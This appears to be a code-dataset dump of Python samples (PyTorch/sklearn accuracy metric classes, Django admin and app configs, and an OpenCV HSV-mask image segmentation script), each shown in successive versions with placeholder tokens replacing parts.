\"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n<function token>\n\n\[email protected](ClassType.METRIC, alias='accuracy')\nclass Accuracy(MetricBase):\n <docstring token>\n __metric_name__ = 'accuracy'\n\n def __init__(self, topk=(1, 5)):\n \"\"\"Init Accuracy metric.\"\"\"\n self.topk = topk\n self.sum = [0.0] * len(topk)\n self.data_num = 0\n self.pfm = [0.0] * len(topk)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n if isinstance(output, tuple):\n output = output[0]\n if isinstance(target, tuple) or isinstance(target, list):\n target = target[0]\n res = accuracy(output, target, self.topk)\n n = output.size(0)\n self.data_num += n\n self.sum = [(self.sum[index] + item.item() * n) for index, item in\n enumerate(res)]\n self.pfm = [(item / self.data_num) for item in self.sum]\n return res\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n self.sum = [0.0] * len(self.topk)\n self.data_num = 0\n self.pfm = [0.0] * len(self.topk)\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n if len(self.pfm) == 1:\n return self.pfm[0]\n perf_dict = {}\n perf_dict[self.name] = self.pfm[0]\n perf_dict.update({'{}_top{}'.format(self.name, self.topk[idx]):\n value for idx, value in enumerate(self.pfm)})\n return perf_dict\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n<function token>\n\n\[email protected](ClassType.METRIC, alias='accuracy')\nclass Accuracy(MetricBase):\n <docstring token>\n <assignment token>\n\n def __init__(self, topk=(1, 5)):\n \"\"\"Init Accuracy metric.\"\"\"\n self.topk = topk\n self.sum = [0.0] * len(topk)\n self.data_num = 0\n self.pfm = [0.0] * len(topk)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n if isinstance(output, tuple):\n output = output[0]\n if isinstance(target, tuple) or isinstance(target, list):\n target = target[0]\n res = accuracy(output, target, self.topk)\n n = output.size(0)\n self.data_num += n\n self.sum = [(self.sum[index] + item.item() * n) for index, item in\n enumerate(res)]\n self.pfm = [(item / self.data_num) for item in self.sum]\n return res\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n self.sum = [0.0] * len(self.topk)\n self.data_num = 0\n self.pfm = [0.0] * len(self.topk)\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n if len(self.pfm) == 1:\n return self.pfm[0]\n perf_dict = {}\n perf_dict[self.name] = self.pfm[0]\n perf_dict.update({'{}_top{}'.format(self.name, self.topk[idx]):\n value for idx, value in enumerate(self.pfm)})\n return perf_dict\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n<function token>\n\n\[email protected](ClassType.METRIC, alias='accuracy')\nclass Accuracy(MetricBase):\n <docstring token>\n <assignment token>\n <function token>\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n if isinstance(output, tuple):\n output = output[0]\n if isinstance(target, tuple) or isinstance(target, list):\n target = target[0]\n res = accuracy(output, target, self.topk)\n n = output.size(0)\n self.data_num += n\n self.sum = [(self.sum[index] + item.item() * n) for index, item in\n enumerate(res)]\n self.pfm = [(item / self.data_num) for item in self.sum]\n return res\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n self.sum = [0.0] * len(self.topk)\n self.data_num = 0\n self.pfm = [0.0] * len(self.topk)\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n if len(self.pfm) == 1:\n return self.pfm[0]\n perf_dict = {}\n perf_dict[self.name] = self.pfm[0]\n perf_dict.update({'{}_top{}'.format(self.name, self.topk[idx]):\n value for idx, value in enumerate(self.pfm)})\n return perf_dict\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n<function token>\n\n\[email protected](ClassType.METRIC, alias='accuracy')\nclass Accuracy(MetricBase):\n <docstring token>\n <assignment token>\n <function token>\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n if isinstance(output, tuple):\n output = output[0]\n if isinstance(target, tuple) or isinstance(target, list):\n target = target[0]\n res = accuracy(output, target, self.topk)\n n = output.size(0)\n self.data_num += n\n self.sum = [(self.sum[index] + item.item() * n) for index, item in\n enumerate(res)]\n self.pfm = [(item / self.data_num) for item in self.sum]\n return res\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n self.sum = [0.0] * len(self.topk)\n self.data_num = 0\n self.pfm = [0.0] * len(self.topk)\n <function token>\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n<function token>\n\n\[email protected](ClassType.METRIC, alias='accuracy')\nclass Accuracy(MetricBase):\n <docstring token>\n <assignment token>\n <function token>\n <function token>\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n self.sum = [0.0] * len(self.topk)\n self.data_num = 0\n self.pfm = [0.0] * len(self.topk)\n <function token>\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n<function token>\n\n\[email protected](ClassType.METRIC, alias='accuracy')\nclass Accuracy(MetricBase):\n <docstring token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n<function token>\n<class token>\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n \"\"\"Wrapper class for Sklearn Metrics.\"\"\"\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n<function token>\n<class token>\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n <docstring token>\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n\n def summary(self):\n \"\"\"Summary all cached records, here is the last pfm record.\"\"\"\n return self.pfm\n", "<docstring token>\n<import token>\n<function token>\n<class token>\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n <docstring token>\n\n def __init__(self, name, **kwargs):\n super().__init__()\n self.__metric_name__ = name\n self.metric_func = getattr(me, name)\n if kwargs:\n self.metric_func = partial(self.metric_func, kwargs)\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n <function token>\n", "<docstring token>\n<import token>\n<function token>\n<class token>\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n <docstring token>\n <function token>\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n\n def reset(self):\n \"\"\"Reset states for new evaluation after each epoch.\"\"\"\n pass\n <function token>\n", "<docstring token>\n<import token>\n<function token>\n<class token>\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n <docstring token>\n <function token>\n\n def __call__(self, output, target, *args, **kwargs):\n \"\"\"Perform top k accuracy.\n\n :param output: output of classification network\n :param target: ground truth from dataset\n :return: pfm\n \"\"\"\n _, y_pred = output.topk(1, 1, True, True)\n y_pred = y_pred.t().detach().cpu().numpy()[0]\n y_true = target.detach().cpu().numpy()\n self.pfm = self.metric_func(y_true, y_pred)\n return self.pfm\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<function token>\n<class token>\n\n\[email protected](ClassType.METRIC)\nclass SklearnMetrics(MetricBase):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<function token>\n<class token>\n<class token>\n" ]
false
491
2b8ca0c8c7878536da4f31652976988cdba62d89
from django.contrib import admin from main_app.models import sites, statuses, redirects # Register your models here. admin.site.register(statuses) admin.site.register(sites) admin.site.register(redirects)
[ "from django.contrib import admin\nfrom main_app.models import sites, statuses, redirects\n# Register your models here.\nadmin.site.register(statuses)\nadmin.site.register(sites)\nadmin.site.register(redirects)", "from django.contrib import admin\nfrom main_app.models import sites, statuses, redirects\nadmin.site.register(statuses)\nadmin.site.register(sites)\nadmin.site.register(redirects)\n", "<import token>\nadmin.site.register(statuses)\nadmin.site.register(sites)\nadmin.site.register(redirects)\n", "<import token>\n<code token>\n" ]
false
492
19bb58ab440ca00bf6410a70a8b6bbc24eec96c1
from django.apps import AppConfig class MarketingemailsConfig(AppConfig): name = 'marketingemails'
[ "from django.apps import AppConfig\n\n\nclass MarketingemailsConfig(AppConfig):\n name = 'marketingemails'\n", "<import token>\n\n\nclass MarketingemailsConfig(AppConfig):\n name = 'marketingemails'\n", "<import token>\n\n\nclass MarketingemailsConfig(AppConfig):\n <assignment token>\n", "<import token>\n<class token>\n" ]
false
493
1614157c57b3d1b30087c42cb840d617dc91eecb
# Bengisu Ayan - 2236974 # Ceren Gürsoy - 2237485 import numpy as np import cv2 B1 = "THE3-Images/B1.jpg" B2 = "THE3-Images/B2.jpg" B3 = "THE3-Images/B3.jpg" B4 = "THE3-Images/B4.jpg" B5 = "THE3-Images/B5.jpg" def segmentation_function(image, name, blue_mask=False, white_mask=False, yellow_mask=False): # Smooth the image image = cv2.GaussianBlur(image,(11,11),0) # convert to HSV color system hsv_image = cv2.cvtColor(image, cv2.COLOR_RGB2HSV) # define green mask # green is applied to all the images as the dogs are all in grass low_green = np.array([30, 0, 0]) high_green = np.array([86, 255, 255]) mask_final = cv2.inRange(hsv_image, low_green, high_green) # define blue mask and apply it if blue_mask == True: low_blue = np.array([80, 0, 0]) high_blue = np.array([125, 255, 255]) mask_blue = cv2.inRange(hsv_image, low_blue, high_blue) mask_final = mask_final + mask_blue # define white mask and apply it if white_mask == True: low_white = np.array([0, 0, 200]) high_white = np.array([145,60,255]) mask_white = cv2.inRange(hsv_image, low_white, high_white) mask_final = mask_final + mask_white # define yellow mask and apply it if yellow_mask == True: low_yellow = np.array([10, 0, 0]) high_yellow = np.array([33, 255, 100]) mask_yellow = cv2.inRange(hsv_image, low_yellow, high_yellow) mask_final = mask_final + mask_yellow # make object white and background black mask_final = 255 - mask_final # apply opening to final mask # define 27*27 elliptical structuring element for opening kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(27,27)) # apply opening mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_OPEN, kernel) # apply closing to final mask # define 41*41 elliptical structuring element for opening kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(41,41)) # apply closing mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_CLOSE, kernel) # get biggest connected component segmented_image = np.zeros_like(mask_final) for val in np.unique(mask_final)[1:]: mask = np.uint8(mask_final == val) labels, stats = cv2.connectedComponentsWithStats(mask, 4)[1:3] largest_label = 1 + np.argmax(stats[1:, cv2.CC_STAT_AREA]) segmented_image[labels == largest_label] = val return segmented_image # Read B1 image_bgr = cv2.imread(B1) # convert B1 from bgr to rgb image = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB) # Apply segmentation to B1 with only green mask segmented_image = segmentation_function(image, 'B1', blue_mask=False, white_mask=False, yellow_mask=False) cv2.imwrite("the3_B1_output.png", segmented_image) # Read B2 image_bgr = cv2.imread(B2) # convert B2 from bgr to rgb image = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB) # Apply segmentation to B2 with green, white, yellow and blue masks segmented_image = segmentation_function(image,'B2', blue_mask=True, white_mask=True, yellow_mask=True) cv2.imwrite("the3_B2_output.png", segmented_image) # Read B3 image_bgr = cv2.imread(B3) # convert B3 from bgr to rgb image = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB) # Apply segmentation to B3 with green and blue masks segmented_image = segmentation_function(image,'B3', blue_mask=True, white_mask=False, yellow_mask=False) cv2.imwrite("the3_B3_output.png", segmented_image) # Read B4 image_bgr = cv2.imread(B4) # convert B4 from bgr to rgb image = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB) # Apply segmentation to B4 with green and blue masks segmented_image = segmentation_function(image,'B4', blue_mask=True, white_mask=False, yellow_mask=False) cv2.imwrite("the3_B4_output.png", segmented_image) # Read B5 image_bgr = cv2.imread(B5) # convert B5 from bgr to rgb image = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB) # Apply segmentation to B2 with green ,yellow and blue masks segmented_image = segmentation_function(image,'B5', blue_mask=True, white_mask=False, yellow_mask=True) cv2.imwrite("the3_B5_output.png", segmented_image)
[ "# Bengisu Ayan - 2236974\n# Ceren Gürsoy - 2237485\n\nimport numpy as np \nimport cv2 \n\nB1 = \"THE3-Images/B1.jpg\"\nB2 = \"THE3-Images/B2.jpg\"\nB3 = \"THE3-Images/B3.jpg\"\nB4 = \"THE3-Images/B4.jpg\"\nB5 = \"THE3-Images/B5.jpg\"\n\n\ndef segmentation_function(image, name, blue_mask=False, white_mask=False, yellow_mask=False):\n # Smooth the image\n image = cv2.GaussianBlur(image,(11,11),0)\n\n # convert to HSV color system\n hsv_image = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n\n # define green mask\n # green is applied to all the images as the dogs are all in grass\n low_green = np.array([30, 0, 0])\n high_green = np.array([86, 255, 255])\n mask_final = cv2.inRange(hsv_image, low_green, high_green)\n\n # define blue mask and apply it\n if blue_mask == True:\n low_blue = np.array([80, 0, 0])\n high_blue = np.array([125, 255, 255])\n mask_blue = cv2.inRange(hsv_image, low_blue, high_blue)\n mask_final = mask_final + mask_blue\n\n # define white mask and apply it\n if white_mask == True:\n low_white = np.array([0, 0, 200])\n high_white = np.array([145,60,255])\n mask_white = cv2.inRange(hsv_image, low_white, high_white)\n mask_final = mask_final + mask_white\n\n # define yellow mask and apply it\n if yellow_mask == True:\n low_yellow = np.array([10, 0, 0])\n high_yellow = np.array([33, 255, 100])\n mask_yellow = cv2.inRange(hsv_image, low_yellow, high_yellow)\n mask_final = mask_final + mask_yellow\n\n # make object white and background black\n mask_final = 255 - mask_final\n\n # apply opening to final mask\n # define 27*27 elliptical structuring element for opening\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(27,27))\n # apply opening\n mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_OPEN, kernel)\n\n # apply closing to final mask\n # define 41*41 elliptical structuring element for opening\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(41,41))\n # apply closing\n mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_CLOSE, kernel)\n\n # get biggest connected component\n segmented_image = np.zeros_like(mask_final) \n for val in np.unique(mask_final)[1:]: \n mask = np.uint8(mask_final == val) \n labels, stats = cv2.connectedComponentsWithStats(mask, 4)[1:3] \n largest_label = 1 + np.argmax(stats[1:, cv2.CC_STAT_AREA]) \n segmented_image[labels == largest_label] = val \n\n return segmented_image\n\n\n \n \n# Read B1\nimage_bgr = cv2.imread(B1)\n# convert B1 from bgr to rgb\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\n# Apply segmentation to B1 with only green mask\nsegmented_image = segmentation_function(image, 'B1', blue_mask=False, white_mask=False, yellow_mask=False)\ncv2.imwrite(\"the3_B1_output.png\", segmented_image)\n\n# Read B2\nimage_bgr = cv2.imread(B2)\n# convert B2 from bgr to rgb\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\n# Apply segmentation to B2 with green, white, yellow and blue masks\nsegmented_image = segmentation_function(image,'B2', blue_mask=True, white_mask=True, yellow_mask=True)\ncv2.imwrite(\"the3_B2_output.png\", segmented_image)\n\n# Read B3\nimage_bgr = cv2.imread(B3)\n# convert B3 from bgr to rgb\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\n# Apply segmentation to B3 with green and blue masks\nsegmented_image = segmentation_function(image,'B3', blue_mask=True, white_mask=False, yellow_mask=False)\ncv2.imwrite(\"the3_B3_output.png\", segmented_image)\n\n# Read B4\nimage_bgr = cv2.imread(B4)\n# convert B4 from bgr to rgb\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\n# Apply segmentation to B4 with green and blue masks\nsegmented_image = segmentation_function(image,'B4', blue_mask=True, white_mask=False, yellow_mask=False)\ncv2.imwrite(\"the3_B4_output.png\", segmented_image)\n\n# Read B5\nimage_bgr = cv2.imread(B5)\n# convert B5 from bgr to rgb\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\n# Apply segmentation to B2 with green ,yellow and blue masks\nsegmented_image = segmentation_function(image,'B5', blue_mask=True, white_mask=False, yellow_mask=True)\ncv2.imwrite(\"the3_B5_output.png\", segmented_image)\n\n\n", "import numpy as np\nimport cv2\nB1 = 'THE3-Images/B1.jpg'\nB2 = 'THE3-Images/B2.jpg'\nB3 = 'THE3-Images/B3.jpg'\nB4 = 'THE3-Images/B4.jpg'\nB5 = 'THE3-Images/B5.jpg'\n\n\ndef segmentation_function(image, name, blue_mask=False, white_mask=False,\n yellow_mask=False):\n image = cv2.GaussianBlur(image, (11, 11), 0)\n hsv_image = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n low_green = np.array([30, 0, 0])\n high_green = np.array([86, 255, 255])\n mask_final = cv2.inRange(hsv_image, low_green, high_green)\n if blue_mask == True:\n low_blue = np.array([80, 0, 0])\n high_blue = np.array([125, 255, 255])\n mask_blue = cv2.inRange(hsv_image, low_blue, high_blue)\n mask_final = mask_final + mask_blue\n if white_mask == True:\n low_white = np.array([0, 0, 200])\n high_white = np.array([145, 60, 255])\n mask_white = cv2.inRange(hsv_image, low_white, high_white)\n mask_final = mask_final + mask_white\n if yellow_mask == True:\n low_yellow = np.array([10, 0, 0])\n high_yellow = np.array([33, 255, 100])\n mask_yellow = cv2.inRange(hsv_image, low_yellow, high_yellow)\n mask_final = mask_final + mask_yellow\n mask_final = 255 - mask_final\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (27, 27))\n mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_OPEN, kernel)\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (41, 41))\n mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_CLOSE, kernel)\n segmented_image = np.zeros_like(mask_final)\n for val in np.unique(mask_final)[1:]:\n mask = np.uint8(mask_final == val)\n labels, stats = cv2.connectedComponentsWithStats(mask, 4)[1:3]\n largest_label = 1 + np.argmax(stats[1:, cv2.CC_STAT_AREA])\n segmented_image[labels == largest_label] = val\n return segmented_image\n\n\nimage_bgr = cv2.imread(B1)\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\nsegmented_image = segmentation_function(image, 'B1', blue_mask=False,\n white_mask=False, yellow_mask=False)\ncv2.imwrite('the3_B1_output.png', segmented_image)\nimage_bgr = cv2.imread(B2)\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\nsegmented_image = segmentation_function(image, 'B2', blue_mask=True,\n white_mask=True, yellow_mask=True)\ncv2.imwrite('the3_B2_output.png', segmented_image)\nimage_bgr = cv2.imread(B3)\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\nsegmented_image = segmentation_function(image, 'B3', blue_mask=True,\n white_mask=False, yellow_mask=False)\ncv2.imwrite('the3_B3_output.png', segmented_image)\nimage_bgr = cv2.imread(B4)\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\nsegmented_image = segmentation_function(image, 'B4', blue_mask=True,\n white_mask=False, yellow_mask=False)\ncv2.imwrite('the3_B4_output.png', segmented_image)\nimage_bgr = cv2.imread(B5)\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\nsegmented_image = segmentation_function(image, 'B5', blue_mask=True,\n white_mask=False, yellow_mask=True)\ncv2.imwrite('the3_B5_output.png', segmented_image)\n", "<import token>\nB1 = 'THE3-Images/B1.jpg'\nB2 = 'THE3-Images/B2.jpg'\nB3 = 'THE3-Images/B3.jpg'\nB4 = 'THE3-Images/B4.jpg'\nB5 = 'THE3-Images/B5.jpg'\n\n\ndef segmentation_function(image, name, blue_mask=False, white_mask=False,\n yellow_mask=False):\n image = cv2.GaussianBlur(image, (11, 11), 0)\n hsv_image = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n low_green = np.array([30, 0, 0])\n high_green = np.array([86, 255, 255])\n mask_final = cv2.inRange(hsv_image, low_green, high_green)\n if blue_mask == True:\n low_blue = np.array([80, 0, 0])\n high_blue = np.array([125, 255, 255])\n mask_blue = cv2.inRange(hsv_image, low_blue, high_blue)\n mask_final = mask_final + mask_blue\n if white_mask == True:\n low_white = np.array([0, 0, 200])\n high_white = np.array([145, 60, 255])\n mask_white = cv2.inRange(hsv_image, low_white, high_white)\n mask_final = mask_final + mask_white\n if yellow_mask == True:\n low_yellow = np.array([10, 0, 0])\n high_yellow = np.array([33, 255, 100])\n mask_yellow = cv2.inRange(hsv_image, low_yellow, high_yellow)\n mask_final = mask_final + mask_yellow\n mask_final = 255 - mask_final\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (27, 27))\n mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_OPEN, kernel)\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (41, 41))\n mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_CLOSE, kernel)\n segmented_image = np.zeros_like(mask_final)\n for val in np.unique(mask_final)[1:]:\n mask = np.uint8(mask_final == val)\n labels, stats = cv2.connectedComponentsWithStats(mask, 4)[1:3]\n largest_label = 1 + np.argmax(stats[1:, cv2.CC_STAT_AREA])\n segmented_image[labels == largest_label] = val\n return segmented_image\n\n\nimage_bgr = cv2.imread(B1)\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\nsegmented_image = segmentation_function(image, 'B1', blue_mask=False,\n white_mask=False, yellow_mask=False)\ncv2.imwrite('the3_B1_output.png', segmented_image)\nimage_bgr = cv2.imread(B2)\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\nsegmented_image = segmentation_function(image, 'B2', blue_mask=True,\n white_mask=True, yellow_mask=True)\ncv2.imwrite('the3_B2_output.png', segmented_image)\nimage_bgr = cv2.imread(B3)\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\nsegmented_image = segmentation_function(image, 'B3', blue_mask=True,\n 